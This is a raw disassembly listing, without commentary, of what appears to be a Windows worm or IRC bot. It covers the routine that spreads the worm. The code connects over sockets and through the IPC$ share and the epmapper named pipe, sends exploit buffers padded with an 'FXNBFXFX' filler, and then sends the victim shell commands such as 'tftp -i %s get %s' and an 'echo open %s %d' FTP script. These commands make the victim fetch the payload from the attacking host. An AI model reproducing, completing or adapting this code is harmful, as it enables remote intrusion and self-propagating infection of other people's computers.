push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0A0h
push offset dword_424C38
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
cmp [ebp+arg_C0], 0
jz loc_402D43
push 68h
lea eax, [ebp+var_89B0]
push offset dword_424DF0
push eax
call sub_4155D0
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_4155D0
push 70h
lea eax, [ebp+var_68D8]
push offset dword_424E5C
push eax
call sub_4155D0
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_4155D0
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_424ED0
push eax
call sub_4155D0
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_402D9B
; ---------------------------------------------------------------------------
loc_402D43: ; CODE XREF: sub_402988+306j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_424CDC
push eax
call sub_4155D0
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_4155D0
push 90h
lea eax, [ebp+var_2458]
push offset off_424D5C
push eax
call sub_4155D0
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_402D9B: ; CODE XREF: sub_402988+3B9j
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40283D
add esp, 0BCh
test al, al
setnz al
loc_402DD8: ; CODE XREF: sub_402988+28Aj
pop edi
pop esi
pop ebx
leave
retn
sub_402988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DDD proc near ; CODE XREF: .nsp0:00403E5Cp
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
call dword_4211D8 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_14], eax
call dword_4211DC ; htons
push 6
push 1
push 2
mov [ebp+var_16], ax
call dword_4211E0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_402EDA
lea eax, [ebp+var_18]
push 10h
push eax
push esi
call dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402EDA
mov ebx, dword_4211EC
push edi
push 89h
push offset dword_424950
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, dword_4211E8
call esi ; recv
push 0
push 0A8h
push offset dword_4249DC
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi ; recv
push 0
push 0DEh
push offset dword_424A88
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi ; recv
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_402EE5
dec eax
jz short loc_402EE1
loc_402EDA: ; CODE XREF: sub_402DDD+57j
; sub_402DDD+6Dj ...
xor eax, eax
jmp loc_402F7F
; ---------------------------------------------------------------------------
loc_402EE1: ; CODE XREF: sub_402DDD+FBj
push 0
jmp short loc_402F09
; ---------------------------------------------------------------------------
loc_402EE5: ; CODE XREF: sub_402DDD+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402988
add esp, 0C4h
test al, al
jnz short loc_402F29
push 1
loc_402F09: ; CODE XREF: sub_402DDD+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402988
add esp, 0C4h
test al, al
jz short loc_402F30
loc_402F29: ; CODE XREF: sub_402DDD+128j
mov [ebp+var_8], 1
loc_402F30: ; CODE XREF: sub_402DDD+14Aj
push ebx
call dword_4211F0 ; closesocket
cmp [ebp+var_8], 0
jz short loc_402F7C
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_218]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_402F7C: ; CODE XREF: sub_402DDD+15Ej
push 1
pop eax
loc_402F7F: ; CODE XREF: sub_402DDD+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_402DDD endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033CB
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_403C8B
add esp, 0BCh
test ebx, ebx
jnz short loc_402FD6
test eax, eax
jz short loc_402FD9
loc_402FD6: ; CODE XREF: .nsp0:00402FD0j
push 1
pop eax
loc_402FD9: ; CODE XREF: .nsp0:00402FD4j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FDD proc near ; CODE XREF: sub_4033CB+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_438FBC
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_438FB8
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43A438
cmp eax, 5
mov ebx, 4C3h
jz short loc_4030A1
cmp eax, ebx
jnz short loc_4030AB
loc_4030A1: ; CODE XREF: sub_402FDD+BEj
push edi
push edi
push edi
push esi
call dword_43A438
loc_4030AB: ; CODE XREF: sub_402FDD+C2j
cmp eax, 5
jz short loc_4030B9
cmp eax, ebx
jz short loc_4030B9
push 1
pop eax
jmp short loc_4030BB
; ---------------------------------------------------------------------------
loc_4030B9: ; CODE XREF: sub_402FDD+D1j
; sub_402FDD+D5j
xor eax, eax
loc_4030BB: ; CODE XREF: sub_402FDD+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_402FDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap
; sub_4033CB+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_438FBC
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
add esp, 10h
loc_403151: ; CODE XREF: sub_4030C0+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43A2D8
test eax, eax
jz short loc_403171
push 7D0h
call dword_421060 ; Sleep
jmp short loc_403151
; ---------------------------------------------------------------------------
loc_403171: ; CODE XREF: sub_4030C0+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4030C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403178 proc near ; CODE XREF: sub_4033CB+A9p
; sub_4033CB+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_415D70
push esi
push edi
push offset byte_42C1FC
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414E04
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4033C7
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_4155D0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415570
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_4155D0
add esp, 24h
lea esi, [edi+0D7h]
loc_4031FD: ; CODE XREF: sub_403178+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40324D
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_4155D0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415570
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_4155D0
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_4031FD
; ---------------------------------------------------------------------------
loc_40324D: ; CODE XREF: sub_403178+90j
cmp [ebp+arg_C4], 0
jz short loc_403268
cmp [ebp+arg_C0], 3
jz short loc_403271
cmp [ebp+arg_C0], 0
jmp short loc_40326F
; ---------------------------------------------------------------------------
loc_403268: ; CODE XREF: sub_403178+DCj
cmp [ebp+arg_C0], 3
loc_40326F: ; CODE XREF: sub_403178+EEj
jnz short loc_40327A
loc_403271: ; CODE XREF: sub_403178+E5j
push 4
push offset dword_4255F0
jmp short loc_403281
; ---------------------------------------------------------------------------
loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj
push 4
push offset dword_4255EC
loc_403281: ; CODE XREF: sub_403178+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_4155D0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425124
push eax
call sub_4155D0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_425488
push eax
call sub_4155D0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_4155D0
lea edi, [esi+370h]
push 3Ch
push offset off_42549C
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155D0
add edi, 3Ch
push 30h
push offset dword_4254DC
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155D0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_415DC9
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_415570
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_4155D0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4033C7: ; CODE XREF: sub_403178+3Ej
pop edi
pop esi
leave
retn
sub_403178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033CB proc near ; CODE XREF: .nsp0:00402FA3p
; sub_40778B+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_415D70
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403539
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_402FDD
pop ecx
test eax, eax
pop ecx
jz loc_403649
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4154E7
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_403450
loc_403441: ; CODE XREF: sub_4033CB+126j
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
pop ecx
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403450: ; CODE XREF: sub_4033CB+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_412B98
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_4034E8
mov edi, 186A0h
push edi
call sub_415DC9
mov esi, eax
push edi
push ebx
push esi
call sub_415570
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_4250D8
push [ebp+var_4]
call dword_421074 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_4034D8
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_4034F6
loc_4034D8: ; CODE XREF: sub_4033CB+F3j
push esi
call sub_415E3D
push [ebp+var_8]
call sub_415E3D
pop ecx
pop ecx
loc_4034E8: ; CODE XREF: sub_4033CB+B9j
push [ebp+var_4]
call dword_42106C ; CloseHandle
jmp loc_403441
; ---------------------------------------------------------------------------
loc_4034F6: ; CODE XREF: sub_4033CB+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call dword_421068 ; ReadFile
push [ebp+var_8]
mov edi, eax
call sub_415E3D
push esi
call sub_415E3D
pop ecx
pop ecx
push [ebp+var_4]
call dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
cmp edi, 1
pop ecx
jnz loc_40365A
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403539: ; CODE XREF: sub_4033CB+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_412B98
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403649
xor ebx, ebx
push ebx
push 1
push 2
call dword_43A418
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403649
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43A398
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43A3D8
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4035CB
push [ebp+var_4]
jmp short loc_403643
; ---------------------------------------------------------------------------
loc_4035CB: ; CODE XREF: sub_4033CB+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43A340
cmp eax, 0FFFFFFFFh
jnz short loc_4035E3
loc_4035E0: ; CODE XREF: sub_4033CB+22Aj
push esi
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_4035E3: ; CODE XREF: sub_4033CB+213j
push ebx
push 48h
push offset dword_4250D8
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_4035E0
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43A3B0
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_403624
push [ebp+var_8]
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_403624: ; CODE XREF: sub_4033CB+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43A3B0
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_40364D
loc_40363C: ; CODE XREF: sub_4033CB+216j
; sub_4033CB+257j
call sub_415E3D
pop ecx
push edi
loc_403643: ; CODE XREF: sub_4033CB+1FEj
call dword_43A430
loc_403649: ; CODE XREF: sub_4033CB+31j
; sub_4033CB+80j ...
xor eax, eax
jmp short loc_4036CA
; ---------------------------------------------------------------------------
loc_40364D: ; CODE XREF: sub_4033CB+26Fj
call sub_415E3D
pop ecx
push edi
call dword_43A430
loc_40365A: ; CODE XREF: sub_4033CB+163j
xor esi, esi
loc_40365C: ; CODE XREF: sub_4033CB+2B1j
lea eax, [ebp+var_338]
push eax
call sub_40B24D
test eax, eax
pop ecx
jnz short loc_403680
push 1388h
call dword_421060 ; Sleep
inc esi
cmp esi, 6
jl short loc_40365C
jmp short loc_4036C7
; ---------------------------------------------------------------------------
loc_403680: ; CODE XREF: sub_4033CB+2A0j
cmp [ebp+arg_B4], ebx
jnz short loc_4036A5
push ebx
lea eax, [ebp+var_338]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4036A5: ; CODE XREF: sub_4033CB+2BBj
lea eax, [ebp+var_338]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_4036C7: ; CODE XREF: sub_4033CB+2B3j
push 1
pop eax
loc_4036CA: ; CODE XREF: sub_4033CB+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4033CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4036CF proc near ; DATA XREF: .nsp0:00423004o
jmp $+5
sub_4036CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4036D4 proc near
push 0BB80h
push 76Ch
call sub_414098
pop ecx
mov dword_438FC0, eax
pop ecx
retn
sub_4036D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43A3D8
mov [ebp+var_C], eax
mov ax, word ptr dword_438FC0
push eax
call dword_43A398
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43A418
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403825
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A340
cmp eax, 0FFFFFFFFh
jz loc_403825
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3B0
mov esi, offset byte_42C1FC
push esi
push esi
push [ebp+arg_0]
call sub_40A171
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 18h
push esi
push esi
push dword_438FDC
push [ebp+arg_0]
call sub_40A171
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403825
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_403829
loc_403825: ; CODE XREF: sub_4036EB+51j
; sub_4036EB+67j ...
xor al, al
jmp short loc_403847
; ---------------------------------------------------------------------------
loc_403829: ; CODE XREF: sub_4036EB+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3B0
push ebx
call dword_43A430
mov al, 1
loc_403847: ; CODE XREF: sub_4036EB+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4036EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40384C proc near ; CODE XREF: sub_403C8B+125p
; sub_403C8B+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_415D70
mov eax, dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_4250C4
push eax
call sub_4154E7
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40388B: ; CODE XREF: sub_40384C+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40388B
push 60h
lea eax, [ebp+var_B4]
push offset dword_425B10
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4155D0
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_415CF0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_4155D0
mov ax, word ptr dword_438FC0
add esp, 2Ch
push eax
call dword_43A398
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_425810
call sub_4155D0
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403A48
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_415570
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_425F38[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_4155D0
mov esi, offset loc_425760
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11AC]
push offset loc_4250BC
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_4155D0
add esp, 40h
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_4155D0
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_403A01: ; CODE XREF: sub_40384C+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_403A01
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_415570
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_415570
add esp, 18h
jmp short loc_403A9F
; ---------------------------------------------------------------------------
loc_403A48: ; CODE XREF: sub_40384C+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_415570
mov esi, offset loc_425760
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_4155D0
lea eax, [ebp+var_10]
push eax
